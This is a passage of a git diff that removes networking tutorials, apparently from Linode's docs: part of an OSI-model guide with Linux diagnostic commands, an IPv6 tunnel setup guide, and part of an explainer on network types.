TCP ]----------------------------------------------------------- -192.0.2.161:22(ssh) -> 192.0.2.208:50788(unknown) -TTL: 64 Window: 501 Version: 4 Length: 124 -FLAGS: ---PA-- SEQ: 855325454 - ACK: 3719741052 -Packet Number: 2 - -Packets Received: 35805 -Packets Dropped by kernel: 14803 -{{< /output >}} - -To list the configuration and capabilities of each network interface, use the `ip netconf` command. - -```command -ip netconf -``` - -{{< output >}} -inet lo forwarding off rp_filter off mc_forwarding off proxy_neigh off ignore_routes_with_linkdown off -inet eth0 forwarding off rp_filter loose mc_forwarding off proxy_neigh off ignore_routes_with_linkdown off -inet all forwarding off rp_filter loose mc_forwarding off proxy_neigh off ignore_routes_with_linkdown off -inet default forwarding off rp_filter loose mc_forwarding off proxy_neigh off ignore_routes_with_linkdown off - -inet6 lo forwarding off mc_forwarding off proxy_neigh off ignore_routes_with_linkdown off -inet6 eth0 forwarding off mc_forwarding off proxy_neigh off ignore_routes_with_linkdown off -inet6 all forwarding off mc_forwarding off proxy_neigh off ignore_routes_with_linkdown off -inet6 default forwarding off mc_forwarding off proxy_neigh off ignore_routes_with_linkdown off -{{< /output >}} - -## Layer 3: The Network Layer - -The network layer lies at the heart of the OSI network stack. It is responsible for addressing packets and routing them across the internet. Layer three data units are known as *packets*. The network layer allows packets to flow across non-adjacent networks. Most routers are network layer devices, although some also implement higher layer functions. - -Layer three protocols use the packet destination address to determine the best egress interface for the data. Before reaching its destination, a packet might be routed through many nodes. A *path* consists of all the routers a packet must pass through to reach a specific destination. Each network device a packet transits through is known as a *hop*. At each hop, the network layer processes the packet. If the packet has reached its final destination, the data is sent to the transport layer. Otherwise, the packet receives a new header and footer and is sent back to the data link layer for forwarding to the next hop. - -The network layer is responsible for breaking down packets that are too large for the lower layer links into smaller pieces. This process is called fragmentation. At the destination end, the network layer reassembles the fragments back into the original packet. Protocols at the network layer are not required to be reliable, although some protocols might report and retransmit missing packets. Network layer protocols are generally connectionless. Connections and sessions are managed by the higher layers. - -Many well-known network protocols operate at the network layer, including the following: - -- The *Internet Protocol* (IP). This protocol specifies the addressing format for the internet. -- Routing protocols including *Border Gateway Protocol* (BGP) and *Open Shortest Path First* (OSPF). These protocols are responsible for determining the best path to the final destination. -- The *Multiprotocol Label Switching* (MPLS) protocol. In reality, MPLS is a multi-layer protocol. It includes functionality from both the network and transport layers. -- The various *Internet Control Message Protocol* (ICMP) control messages, and related applications like `ping` and `traceroute`. -- Multicast standards, including the *Internet Group Management Protocol* (IGMP). - -### Network Layer Tools - -The `ip` command is also quite useful for network layer problems. The `ip addr show` command displays the IP address associated with each interface. - -```command -ip addr show -``` - -{{< output >}} -1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 - link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 - inet 127.0.0.1/8 scope host lo - valid_lft forever preferred_lft forever - inet6 ::1/128 scope host - valid_lft forever preferred_lft forever -2: eth0: mtu 1500 qdisc mq state UP group default qlen 1000 - link/ether f2:3c:93:15:ce:03 brd ff:ff:ff:ff:ff:ff - inet 192.0.2.161/24 brd 233.252.129.255 scope global eth0 - valid_lft forever preferred_lft forever - inet6 2a01:7e00::f03c:93ff:fe15:ce03/64 scope global dynamic mngtmpaddr noprefixroute - valid_lft 5316sec preferred_lft 1716sec - inet6 fe80::f03c:93ff:fe15:ce03/64 scope link - valid_lft forever preferred_lft forever -{{< /output >}} - -The `ping` and `traceroute` commands can determine whether a destination is reachable and track the path the packet follows to reach it. These commands can be used with either the name of a router or an IP address. Terminate the command using the **Ctrl+C** key combination. - -```command -ping wikipedia.org -``` - -{{< output >}} -PING wikipedia.org(text-lb.esams.wikimedia.org (2620:0:862:ed1a::1)) 56 data bytes -64 bytes from text-lb.esams.wikimedia.org (2620:0:862:ed1a::1): icmp_seq=1 ttl=55 time=6.45 ms -64 bytes from text-lb.esams.wikimedia.org (2620:0:862:ed1a::1): icmp_seq=2 ttl=55 time=6.41 ms -64 bytes from text-lb.esams.wikimedia.org (2620:0:862:ed1a::1): icmp_seq=3 ttl=55 time=6.41 ms -64 bytes from text-lb.esams.wikimedia.org (2620:0:862:ed1a::1): icmp_seq=4 ttl=55 time=6.55 ms -64 bytes from text-lb.esams.wikimedia.org (2620:0:862:ed1a::1): icmp_seq=5 ttl=55 time=6.40 ms -64 bytes from text-lb.esams.wikimedia.org (2620:0:862:ed1a::1): icmp_seq=6 ttl=55 time=6.68 ms - ---- wikipedia.org ping statistics --- -6 packets transmitted, 6 received, 0% packet loss, time 5008ms -rtt min/avg/max/mdev = 6.398/6.483/6.678/0.101 ms -{{< /output >}} - -To view the contents of the system routing table, use the `ip route show` command. The `ip neighbor show` and `ip nexthop show` commands are also often useful. - -```command -ip route show -``` - -{{< output >}} -default via 192.0.2.1 dev eth0 proto static -192.0.2.0/24 dev eth0 proto kernel scope link src 192.0.2.161 -{{< /output >}} - -## Layer 4: The Transport Layer - -The transport layer works in conjunction with the network layer to coordinate data transfer between the host and the destination. While the network layer is more concerned with addressing and routing, the transport layer is responsible for segmenting and ordering the data. It must collect and interleave packets from many different higher-level protocols. It must also associate these packets with the correct session. On the receiving side, the transport layer reassembles the packets and detects any missing segments. Some transport layer protocols also handle quality of service, congestion avoidance, reliability, and packet retransmission. - -Transport layer protocols are either connection-oriented or connectionless. The two most important transport protocols are the [*Transmission Control Protocol*](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) (TCP) and the [*User Datagram Protocol*](https://en.wikipedia.org/wiki/User_Datagram_Protocol) (UDP). Transport layer data units are sent from, and received on, a specific port. The full destination address consists of both an IP number and a port. For ease of use, many protocols are associated with a specific, well-known port. - -- **Transmission Control Protocol**: TCP is a robust connection-oriented protocol. It implements reliability and error-checking and guarantees packets are delivered in order. It is used for applications that cannot tolerate corrupted or missing packets, such as file transfers and email. TCP segments data based on the *maximum transmission unit* (MTU) of the egress interface. Some portions of the TCP specification, including the graceful close technique, better align with the session layer of the OSI model. -- **User Datagram Protocol**: UDP is a connectionless, lightweight protocol that is far less complex than TCP. Unlike TCP, UDP does not segment packets. It is not necessarily reliable and does not retransmit packets. It is a best effort option for performance-oriented applications that can tolerate missing or corrupted packets. UDP is a good choice for streaming video and applications using built-in buffering mechanisms. - -The *Transport Layer Security* (TLS) protocol somewhat aligns with the OSI transport layer, but it also provides features from the higher layers. - -### Transport Layer Tools - -There is no generic transport layer monitoring tool for Linux. Instead, tools are available for specific protocols. For TCP, the `tcptrack` utility displays a list of current sessions. `tcptrack` does not come preinstalled, so install it using `apt`.` - -```command -sudo apt install tcptrack -``` - -Use the `-i` option and the name of the interface to see all connections active on the interface. There is no corresponding UDP equivalent because UDP is connectionless. The [Ubuntu tcptrack man page](https://manpages.ubuntu.com/manpages/jammy/man1/tcptrack.1.html) provides full usage instructions. Terminate the command using the **Ctrl+C** key combination. - -```command -sudo tcptrack -i eth0 -``` - -{{< output >}} - Client Server State Idle A Speed -192.0.2.208:50788 192.0.2.161:22 ESTABLISHED 0s 10 KB/s -{{< /output >}} - -`tcpdump` is a packet analyzer for monitoring outgoing and incoming packets on a specific interface. The `-i` attribute indicates the interface to listen to. The `eth0` interface is the default. It can also monitor UDP packets. `tcpdump` is also able to detect packets at lower layers than the transport layer, while another option allows users to view the Ethernet headers. Consult the [Ubuntu tcpdump man page](https://manpages.ubuntu.com/manpages/jammy/man8/tcpdump.8.html) for a list of options. Terminate the command using the **Ctrl+C** key combination. - -```command -sudo tcpdump -``` - -{{< output >}} -tcpdump: verbose output suppressed, use -v or -vv for full protocol decode -listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes -18:52:14.806270 IP testworkstation.ssh > ti.bb.online.no.50788: Flags [P.], seq 866780550:866780658, ack 3719759268, win 501, options [nop,nop,TS val 3917578569 ecr 3770283712], length 108 -{{< /output >}} - -## Layer 5: The Session Layer - -The session layer is relatively lightweight. It is used to establish and maintain ongoing sessions of longer duration between two systems. It handles the negotiation of the connection and closes it when no longer required. The session layer often manages user authentication during the establishment phase. Sometimes the session layer provides a way to suspend, restart, or resume a session. Network sockets operate at this layer, and protocols including FTP and DNS make substantial use of session layer functionality. It is also heavily used by streaming services, and web/video conferencing. For some services, session layer protocols use flow control for proper synchronization. - -### Session Layer Tools - -In many applications, the session layer is bundled together with the presentation and application layer. All layers are managed as a single unit. Therefore there are no generic tools for the session layer or any of the higher layers. Instead, users must employ the application tools. For instance, the [FileZilla](https://filezilla-project.org/) FTP application provides logs and a `debug` menu to help resolve FTP connectivity problems at the session level. - -## Layer 6: The Presentation Layer - -The presentation layer is responsible for translating content between the application layer and the lower layers. It handles data formatting and translation, including data compression/decompression, encoding, and encryption. For some higher layer applications, the presentation layer might also handle graphics and operating system specific tasks. In most modern applications, the presentation and application layers are tightly integrated. - -A example of a protocol residing at the presentation layer is *Multipurpose Internet Mail Extensions* (MIME), for formatting email messages. The *Transport Layer Security* (TLS) encryption protocol is also a presentation layer application. - -## Layer 7: The Application Layer - -The application layer is the highest layer and the one that is closest to the end user of most software applications. There is a tendency to think of this layer as being equivalent to the application, but the user applications actually directly interact with this layer. Many application layer protocols tend to be closely bound to the client software. They manage tasks including message handling, printer access, and database access. Some examples of application layer protocols include the following: - -- *Hypertext Transfer Protocol* (HTTP) -- *Simple Mail Transfer Protocol* (SMTP) -- *Telnet* -- *Secure Shell* (SSH) -- *File Transfer Protocol* (FTP) -- *Simple Network Management Protocol* (SNMP) -- *Domain Name System* (DNS) - -## End-to-End Processing Using the OSI Model - -It is possible to use the OSI Model to explain how a user request passes from a client application down to the physical layer. For instance, depending on the web application, the following steps might occur when browsing the internet. - -1. The web browser client interacts with an application protocol at the application layer. The user request is translated to either an HTTP or HTTPS message. The DNS protocol is used to convert the domain name into an IP address. -2. If HTTPS is used, the presentation layer encrypts the outgoing request using a TLS socket. If necessary, the data is encoded or translated to a different character set. -3. At the session layer, a session is established to send and receive the HTTP/HTTPS messages. In most cases, the session layer opens a TCP session because web browsing requires reliable transmission. However, some streaming applications might opt for a UDP session. -4. The transport layer TCP protocol initiates a connection to the destination server. When the session is operational, it transmits the packets in their original order and ensures all packets are sent and received. UDP sends all packets out in a best effort manner without a direct connection and does not wait for any acknowledgments. If necessary, the data packets are segmented into smaller packets. The transport protocol forwards all outgoing packets to the network layer. -5. At the network layer, the routing protocols decide what egress interface to use based on the destination address. The data, including the address information, is encapsulated inside an IP packet. The packet is then forwarded to the data link layer. -6. The data link layer converts the IP packets to frames, which might result in further fragmentation. It builds the frames based on the data link protocol being used. -7. At the physical layer, the frames are converted to a stream of bits and transmitted onto the carrier media. - -## Drawbacks of the OSI Model - -The OSI Model is useful as a tool for understanding networks. However, it has a number of drawbacks. - -- OSI is very complex, with too many layers. Some of the layers are much more significant and important than others. -- There are too many OSI standards documents and recommendations. -- The model does not reflect the real world network structure. In many cases, actual network models span multiple layers and do not align with the boundaries of the OSI layers. -- The OSI protocols were not widely implemented and the model does not map very well to the protocols in use today. - -### A Comparison Between the OSI Model and the Internet Protocol Suite - -The Internet Protocol suite is an alternative to the OSI model. The IP suite has four layers. - -1. **Application layer**: This maps to the OSI application and presentation layers and much of the session layer. -2. **Transport Layer**: This includes some parts of the OSI session layer as well as the transport layer. The TCP and UDP protocols are part of this layer. -3. **Internet Layer**: This layer closely matches the OSI network layer definition and includes the IP protocol. -4. **Link Layer**: This encompasses both the physical and data link layers of the OSI model. - -The IP suite is considered less prescriptive and more flexible, and better reflects actual usage. Protocols such as TCP/IP and the main routing protocols are derived from the IP suite. However, the IP suite is not as informative, conceptual, or comprehensive as the OSI model, and is not as widely-used as a teaching aid. To properly understand networking concepts, engineers should familiarize themselves with both models. - -## Conclusion - -The OSI Model is a framework for understanding network communications. It breaks the network stack down into seven layers. The layers range from the low-level physical layer up to the application layer residing closest to a computer user. At the heart of the model are the mid-level network and transport layers. The network layer addresses and routes packets, while the transport layer establishes and maintains a connection with a far-end device. - -Although the OSI Model is a handy learning model, it is relatively abstract and does not always reflect real world behavior. The OSI-based protocols were never really implemented, and most commonly-used network protocols are more closely related to the IP suite. However, the OSI-model is integral to many networking methods, and many of the common networking tools still map to the different OSI layers. \ No newline at end of file diff --git a/docs/guides/networking/linode-network/set-up-an-ipv6-tunnel-on-your-linode/index.md b/docs/guides/networking/linode-network/set-up-an-ipv6-tunnel-on-your-linode/index.md deleted file mode 100644 index 180df1486b5..00000000000 --- a/docs/guides/networking/linode-network/set-up-an-ipv6-tunnel-on-your-linode/index.md +++ /dev/null @@ -1,210 +0,0 @@ ---- -slug: set-up-an-ipv6-tunnel-on-your-linode -title: Set Up an IPv6 Tunnel on Your Linode -description: 'This guide provides you with instructions on how to setup an IPv6 tunnel to connect your system to a network running on IPv4 and pass traffic from one to another.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2011-04-29 -modified: 2018-12-11 -keywords: ["ipv6", "tunnel", "broker", "networking"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/networking/set-up-an-ipv6-tunnel-on-your-linode/','/networking/ipv6-tunnels/','/networking/linode-network/set-up-an-ipv6-tunnel-on-your-linode/'] -tags: ["networking","linode platform"] ---- - -![Set up an IPv6 Tunnel on Your Linode](Set_Up_an_IPv6_Tunnel_on_Your_Linode_smg.jpg) - -As IPv4 address exhaustion nears, many people are making the switch to IPv6. Linode offers [native IPv6](https://techdocs.akamai.com/cloud-computing/docs/an-overview-of-ipv6-on-linode) addresses in all locations. - -An IPv6 tunnel lets a system reach an IPv6 network using existing IPv4 connectivity. Follow this guide if you: - - - Have a tunnel that you are migrating to your Linode. - - - Don't have IPv6 from your ISP, and want to interact with your Linode through its IPv6 address. By configuring the tunnel to a local computer instead of your Linode, you can connect to your Linode via the IPv6 address. - -## Before You Begin - -You should have already signed up for an IPv6 tunnel through a tunnel broker. [Wikipedia contains a list of tunnel brokers by region](http://en.wikipedia.org/wiki/List_of_IPv6_tunnel_brokers), and we encourage you to research each before you decide which to use. The steps outlined in this guide were performed using tunnels from Hurricane Electric (HE). - -## General Setup - -Once you have signed up for a tunnel, you will need to issue a few commands on your Linode. Arch and Gentoo Linux users may need to install the `iproute2` package before continuing. - -{{< note >}} -Configuration of an IP tunnel using this method will not be persistent after reboot and will need to be reconfigured after restarting your Linode. -{{< /note >}} - -1. Because some of these steps will temporarily disable networking on the Linode, begin by logging in using either the [Lish](https://techdocs.akamai.com/cloud-computing/docs/access-your-system-console-using-lish) or [Glish](https://techdocs.akamai.com/cloud-computing/docs/access-your-desktop-environment-using-glish) interface. - -2. Use the `ip` tool to add the tunnel device. Ours is called `he-ipv6` to match the device described in Hurricane Electric's examples. Replace `203.0.113.10` with the endpoint of your tunnel, and `198.51.100.5` with your Linode's IP address. The information for the endpoint can be found in your tunnel broker's web interface, and your Linode's IP address can be found under the [Networking](https://techdocs.akamai.com/cloud-computing/docs/managing-ip-addresses-on-a-compute-instance#viewing-ip-addresses) tab of the Linode Cloud Manager: - - ip tunnel add he-ipv6 mode sit remote 203.0.113.10 local 198.51.100.5 ttl 255 - ip link set he-ipv6 up - - For more information on how the `ip` tool configures tunnels, see the [ip-tunnel documentation](http://man7.org/linux/man-pages/man8/ip-tunnel.8.html). - -3. Assign IPv6 address and routing information to your new tunnel device. Replace `2001:db8:1234:5678::2/64` with the IPv6 address assigned to you. This information should be provided to you by your tunnel broker as your "Client IPv6 Address": - - {{< note type="alert" respectIndent=false >}} -The `ifdown` command **will halt all network traffic to your Linode**. This step is included to avoid an error when adding the IPv6 route. It may not be required on all Linux distributions. - -On Arch Linux, replace the `ifdown` and `ifup` commands with `ip link set eth0 down` and `ip link set eth0 up` -{{< /note >}} - - ip addr add 2001:db8:1234:5678::2/64 dev he-ipv6 - ifdown eth0 - ip route add ::/0 dev he-ipv6 - ifup eth0 - ip -f inet6 addr - - The final command in Line 5 will show all devices with IPv6 addresses, and should have a block similar to this: - - 13: he-ipv6@NONE: mtu 1480 state UNKNOWN qlen 1 - inet6 2001:db8:1234:5678::2/64 scope global - valid_lft forever preferred_lft forever - inet6 fe80::0000:0000/64 scope link - valid_lft forever preferred_lft forever - -4. Test the tunnel. Replace `he-ipv6` with the name of your tunnel. On Arch Linux and other distributions without `ping6`, use `ping -6` instead. - - ping6 -I he-ipv6 irc6.oftc.net - - {{< note respectIndent=false >}} -Your system must allow ICMPv6 in through the firewall for pings to be returned. -{{< /note >}} - -If everything is working, you should see ping replies. If not, go back and make sure that you haven't made any errors. - -## Manual Configuration - -The instructions in this section will allow you to manually configure your IPv6 tunnel. This can permanently affect your connectivity across reboots. Read the IPv6 documentation for your distribution before proceeding. -{{< note type="alert" >}} -When manually modifying your network configuration, always disable [Network Helper](https://techdocs.akamai.com/cloud-computing/docs/automatically-configure-networking#individual-compute-instance-setting) first to avoid having your changes overwritten on reboot. -{{< /note >}} - -### Debian and Ubuntu - -Debian and Ubuntu users (versions before Ubuntu 16.04 are not covered here) can perform the following steps to set up a tunnel on their Linode. - -1. In the following excerpt, replace the: - - * `address` value with the "Client IPv6 address." - * `gateway` value with the "Server IPv6 address." - * `endpoint` value with the endpoint, or "Server IPv4 Address," that your tunnel broker provides you. Generally this endpoint is in a geographical location that is close to your Linode. - * `local` value with your Linode's IP address. If you have multiple IPs, make sure that this IP is set to the same address as the one you used to sign up for the tunnel. - - Insert the following into your `/etc/network/interfaces` file: - - {{< file "/etc/network/interfaces" >}} -auto he-ipv6 -iface he-ipv6 inet6 v4tunnel - address 2001:db8:1234:5678::2 - netmask 64 - endpoint 203.0.113.10 - local 198.51.100.5 - ttl 255 - gateway 2001:db8:1234:5678::1 - -{{< /file >}} - - -2. Restart networking services and test the tunnel. Replace `he-ipv6` with the name of your tunnel: - - systemctl restart networking.service - ping6 -I he-ipv6 irc6.oftc.net - - If configuration was successful, you will receive ping replies. If not, check your network configuration for errors. - -### CentOS 7 and Fedora 22+ - -1. Create a file at `/etc/sysconfig/network-scripts/ifcfg-he-ipv6` that contains the following: - - {{< file "/etc/sysconfig/network-scripts/ifcfg-he-ipv6" >}} -NAME="he-ipv6" -DEVICE=he-ipv6 -ONBOOT=yes -USERCTL=yes -BOOTPROTO=none -PEERDNS=no - -IPV6INIT=yes -IPV6_AUTOTUNNEL=yes -IPV6ADDR="2001:db8:1234:5678::2/64" -IPV6_ROUTER=yes -IPV6_AUTOCONF=no - -IPV6_CONTROL_RADVD=yes -IPV6TUNNELIPV4=203.0.113.10 -IPV6TUNNELIPV4LOCAL=45.79.171.199 - -PHYSDEV=eth0 -TYPE=sit -DEVICETYPE=sit -NM_CONTROLLED=no - -IPV6_DEFAULTGW=2001:db8:1234:5678::1 -IPV6_DEFAULTDEV=he-ipv6 - -{{< /file >}} - - - In the above, replace the: - - * `IPV6ADDR` value with your "Client IPV6 Address." - * `IPV6TUNNELIPV4` value with your "Server IPV4 Address." - * `IPV6TUNNELIPV4LOCAL` value with your "Client IPV4 Address." - * `IPV6_DEFAULTGW` value with your "Server IPV6 Address." - -2. Start the `he-ipv6` interface: - - ifup he-ipv6 - -3. Test the tunnel. Replace `he-ipv6` with the name of your tunnel: - - ping6 -I he-ipv6 irc6.oftc.net - - If configuration was successful, you will receive ping replies. If not, check your network configuration for errors. - -### CentOS 6 - -1. Add the following lines to your `/etc/sysconfig/network` file: - - {{< file "/etc/sysconfig/network" >}} -NETWORKING_IPV6=yes -IPV6_DEFAULTDEV=he-ipv6 - -{{< /file >}} - - -2. Create a file at `/etc/sysconfig/network-scripts/ifcfg-he-ipv6` that contains the following: - - {{< file "/etc/sysconfig/network-scripts/ifcfg-he-ipv6" >}} -DEVICE=he-ipv6 -BOOTPROTO=none -ONBOOT=yes -IPV6INIT=yes -IPV6TUNNELIPV4=203.0.113.10 -IPV6ADDR=2001:db8:1234:5678::2/64 - -{{< /file >}} - - - Replace the `IPV6TUNNELIPV4` value with your remote tunnel endpoint and the `IPV6ADDR` value with the "Client IPv6" address provided to you by your tunnel broker. - -3. Start the `he-ipv6` interface: - - ifup he-ipv6 - -4. Test the tunnel. Replace `he-ipv6` with the name of your tunnel: - - ping6 -I he-ipv6 irc6.oftc.net - - If configuration was successful, you will receive ping replies. If not, check your network configuration for errors. - -### Arch Linux - -Refer to the [Arch Linux Wiki](https://wiki.archlinux.org/index.php/IPv6_tunnel_broker_setup) for more information. - -### Gentoo Linux - -Refer to the [Gentoo Linux Wiki](https://wiki.gentoo.org/wiki/IPv6_router_guide) for more information. diff --git a/docs/guides/networking/types-of-networks/index.md b/docs/guides/networking/types-of-networks/index.md deleted file mode 100644 index 968ef866a55..00000000000 --- a/docs/guides/networking/types-of-networks/index.md +++ /dev/null @@ -1,200 +0,0 @@ ---- -slug: types-of-networks -title: "Different Types of Computer Networks, Explained" -description: "What are the different types of networks and what do they do? This guide discusses the main types of computer networks and what they’re used for." -authors: ["David Robert Newman"] -contributors: ["David Robert Newman"] -published: 2023-09-26 -keywords: ['types of networks', 'networking type', 'network connection types', 'what type of network is the internet', 'type of computer networks'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' ---- - -Networks vary widely in size and scope. Some are simple and highly localized. Others span the globe – and beyond, even going into space. Picking the right network depends on what and where you want to connect. Your type of application also matters in some cases; for example, there are special networks optimized just for storage devices.This guide describes 10 major network types and where each network might, or might not, make sense. - -## Internet - -When you say “the Internet,” you probably mean the massive network that goes everywhere on Earth and beyond, now extending to the International Space Station and even to Mars. But there’s also a generic term "internet" with a lowercase "i", that refers to any network of networks. - -This is a good place to start because the designs used to tie networks together also apply within a single network. Most networks adhere to one of three fundamental designs: Point-to-point, hub-and-spoke, or meshed. - -- **Point-to-point connection**: This represents a direct link between two networks or computers. - -- **Hub-and-spoke design**: This configuration connects multiple end-stations (computers, printers, IoT devices) to a central server; for example, multiple PCs utilizing a single server for file storage. - -- **Meshed networks**: These networks come in two variations, partial and full. In a fully meshed design, all nodes (servers, routers, switches) connect to all other nodes. This provides the greatest amount of redundancy in case of link or node failures, but also the greatest cost if you’re paying for each link. In a partial mesh, only some nodes are interconnected. The global Internet is a partially meshed network. - -The basic building block of the Internet, as well as many other internets, is the TCP/IP protocol suite, a set of open standards that allow all manufacturers’ devices to interoperate. - -**Suitable for**: Connectivity between any set of devices, regardless of manufacturer - -**Not suitable for**: Very old legacy computers that use proprietary communications protocols - -## Personal-Area Network (PAN) - -One of the simplest network types is the PAN, which wirelessly connects a few devices close to you. Devices might include your laptop, phone, tablet, and perhaps earbuds or smart speakers. -Bluetooth is the most common protocol for PAN devices. Without obstacles (people, walls, metal, and so on), Bluetooth has a range of about 10 meters (33 feet). The central concept with PANs is that they’re personal, connecting devices for you and you alone. - -A variant of the PAN is the Car Area Network (CAN), which uses Bluetooth or WLAN (covered below) to link devices within a car. CANs then bridge traffic to a cellular connection to the global Internet. - -**Suitable for**: - -- Tying together personal devices -- Devices in close proximity - -**Not suitable for**: - -- Connecting multiple users’ devices -- Connecting one user’s devices over any significant distance - -## Local-Area Network (LAN) - -When LANs first appeared years ago, they consisted of a few PCs and printers in close proximity, always in an office setting, and always communicating either with a locally attached server or directly with one another. This was a revolutionary departure from previous network designs, where all intelligence lived on a central mainframe or minicomputer, and end-stations were essentially just dumb terminals. - -Today the meaning of LAN is much broader. You may have a wired LAN in your office or at home. You may connect a much broader range of devices to LANs, including surveillance cameras, Internet of Things (IoT) devices, and even solar power controllers in home networks. - -In office settings, it’s common to segment networks into many LANs, with one or more for each workgroup (accounting, engineering, sales, etc.) or each physical area (such as floors in office buildings). - -The key building block for LANs is the Ethernet switch, which ties together devices in each area and provides a common broadcast domain for attached devices. - -Enterprise-grade switches also support virtual LANs (VLANs), which provide multiple segments on the same switch. For example, you might configure two VLANs on a switch, allocating separate groups of ports for users in your accounting and engineering teams. Each VLAN forms its own broadcast domain, meaning neither team can see the other team's traffic. - -**Suitable for**: - -- Wired connection of computers, servers, and printers -- Data sharing among users in a home or office - -**Not suitable for**: - -- Computers across town or the world -- Settings where cable installation isn’t feasible - -## Wireless LAN (WLAN) - -Connections to a wireless LAN work over the air, using radio waves. Most people think "Wi-Fi" when it comes to LAN connections without wires. Wi-Fi is a marketing term coined by an equipment makers’ consortium; the IEEE’s 802.11 working group defines the actual Wi-Fi technical standards. - -In a typical Wi-Fi setup, your laptop, phone, and tablet all connect to a local access point, which then bridges traffic between wireless and wired networks. You can also set up a peer-to-peer WLAN connecting two devices; this is handy in places where there isn’t any other network connectivity (for example, aboard a plane). - -Performance tends to be lower on wireless networks than on wired ones. That’s because the airwaves are a shared-access medium, accessible by only one device at a time. - -In practical terms, this usually means when one station receives or sends traffic, all other connected stations need to remain quiet. There is a Wi-Fi technology called multiple-in, multiple-out (MIMO) where multiple stations can transmit and receive at the same time. MIMO has been implemented on many consumer and enterprise-grade WLAN devices. - -Security can be a concern with WLANs, even though it’s possible to secure them at least as well as wired networks. In general, you never want to connect to an open access point at public places such as cafes or airports without also using a virtual private network (VPN, covered below). - -**Suitable for**: - -- Over-the-air connectivity for computers, phones, tablets, and printers -- Settings where cable installation isn’t feasible - -**Not suitable for**: - -- Computers across town or the world -- Applications where high performance is critical - -## Virtual Private Network (VPN) - -Most networks carry traffic using the TCP/IP protocol suite – but as originally designed, TCP/IP does nothing to secure traffic against spoofing or interception. VPNs add security by creating a private network overlay atop any public network. - -There are many VPN types, but all provide the key functions of authentication and encryption. Authentication simply means each side verifies its identity, typically using certificates or other digital keys. This is an important first step since you don’t want just anyone connecting to your secure site. Encryption is the means of encoding and decoding data in a way that’s unreadable by attackers. - -VPNs use authentication to set up a secure tunnel across a public network, and then send encrypted traffic through that tunnel. The tunnel endpoints could be anywhere: You could set up a site-to-site VPN, where you connect two office locations, or a road-warrior VPN, where one endpoint is your laptop and the other is your office location or a server in your cloud deployment. One potential drawback is that VPNs add overhead, degrading performance. - -**Suitable for**: - -- Protection of data in flight, even across unsecured networks -- Remote access from hotels, airports, and cafes -- Remote access to sensitive internal networks and servers - -**Not suitable for**: - -- Applications where maximum performance is important - -## Storage Area Network (SAN) - -As your server count grows, it’s often more efficient to provide pools of shared storage rather than equipping each new server with extensive local storage. That’s where SANs come in. They provide a dedicated high-speed network connecting servers with shared storage pools. - -SANs differ from network-attached storage (NAS) devices, where all disks reside within a single chassis. In contrast, SANs allow shared storage pools made up of many storage arrays. SANs also use specialized storage protocols such as Fibre Channel or iSCSI optimized to speed input/output. Networks running Fibre Channel often use SAN switches to tie together servers and storage pools. - -**Suitable for**: - -- High-speed access to shared storage pools -- Organizations in need of highly scalable data storage - -**Not suitable for**: - -- General-purpose network connectivity - -## Passive Optical Network (PON) - -Although most LANs use copper cabling, fiber-optic cabling not only has far higher bandwidth capacity but also can carry different users' traffic over much longer distances. Fiber's unique characteristics enable PONs, which use optical splitters to divide and combine user traffic. Telecom providers and ISPs typically provision PONs. - -In a PON design, an optical line terminal (OLT) serves as a central concentrator, connecting the network to the rest of the world. Optical splitters connected to an OLT then divide and combine user traffic respectively headed downstream and upstream. At the network edge, an optical network termination (ONT) device terminates the upstream fiber connection and bridges traffic to and from local devices, such as computers and phones, connected via copper patch cables. - -The "passive" part of PON indicates that optical components don’t require power to drive signals, reducing power and heat. Another potential energy saving: The single-mode fiber cabling in PONs can carry signals much further than copper cabling, eliminating the need for powered repeaters. Depending on the transceivers used, a single run of single-mode fiber can carry traffic up to 40 kilometers. In contrast, the distance limit for the most common copper cabling is 100 meters. - -Single-mode fiber tends to be more expensive than copper, mainly due to transceiver and fiber termination costs. While PONs can be an excellent option in new deployments, you need to factor in the cost of ripping out copper cabling when evaluating them as a replacement technology. - -**Suitable for**: - -- Connectivity over relatively long distances -- Networks with limited power and heat budgets - -**Not suitable for**: - -- Networks with significant investment in existing cabling - -## Metropolitan-Area Network (MAN) - -MANs connect networks and computers within a wider range than any LAN could. A single MAN could encompass one city, multiple cities and towns, or a large area within a city with multiple large buildings. - -MANs usually employ fiber-optic cabling to connect LANs. It’s a common practice for telecom providers and ISPs to provision “dark fiber” (unused capacity) around a city, and then “light” the fiber as they connect customer networks. Sometimes cities build their own dark fiber networks, and then lease capacity to telecom providers, ISPs, and private companies. Metro Ethernet is an interesting connectivity choice; in recent years, the LAN technology has been extended to connect systems over distances as great as 100 km (about 62 miles). - -MANs are a good option when you have multiple sites within a metropolitan region. You may be able to create a virtual overlay network using existing dark fiber. - -**Suitable for**: - -- Connectivity within a metropolitan area or large campus -- Connectivity that can be provisioned and managed by an ISP or telecom provider - -**Not suitable for**: - -- Smaller LANs or campuses - -## Wide-area network (WAN) - -While the global Internet is the best-known example of a WAN, the term generically refers to any network that connects devices or networks over long distances. Telecom providers and ISPs operate WANs and sell capacity to national and multinational customers to link various business sites. - -Some large enterprises operate their own WANs, leasing private lines from telecom providers or even running their own cabling to directly connect locations. While private WANs were more common before the rise of the global Internet, they are still in use. Large organizations may want to avoid putting sensitive traffic on public networks, or may lease private lines to ensure performance is always predictable. - -**Suitable for**: - -- Connectivity across far-flung locations -- Connectivity of arbitrarily large numbers of devices - -**Not suitable for**: - -- Designs where all devices are in close proximity - -## Software-Defined WAN (SD-WAN) - -While many WANs carry TCP/IP traffic, they often aren’t TCP/IP networks themselves. Instead, WANs usually move traffic using lower-layer technologies such as multiprotocol label switching (MPLS), long-term evolution (LTE), and an alphabet soup of older link-layer technologies. WANs running TCP/IP can be difficult to configure and manage. - -The variety and complexity of WAN technologies gave rise to software-defined networking, which treats the entire WAN as an abstraction. With SD-WAN, you don’t worry about the physical network; instead, you use centralized management software to set up and manage all flows. - -This is a radical departure from decades of WAN management practice. Previously, if you designed a WAN using, say, a mix of MPLS and metropolitan Ethernet circuits, you’d have to think about how you’d interconnect the technologies, what type of devices resided within each network, and how you’d configure them. - -SD-WAN software hides all that complexity. You configure the management software to move traffic between points without 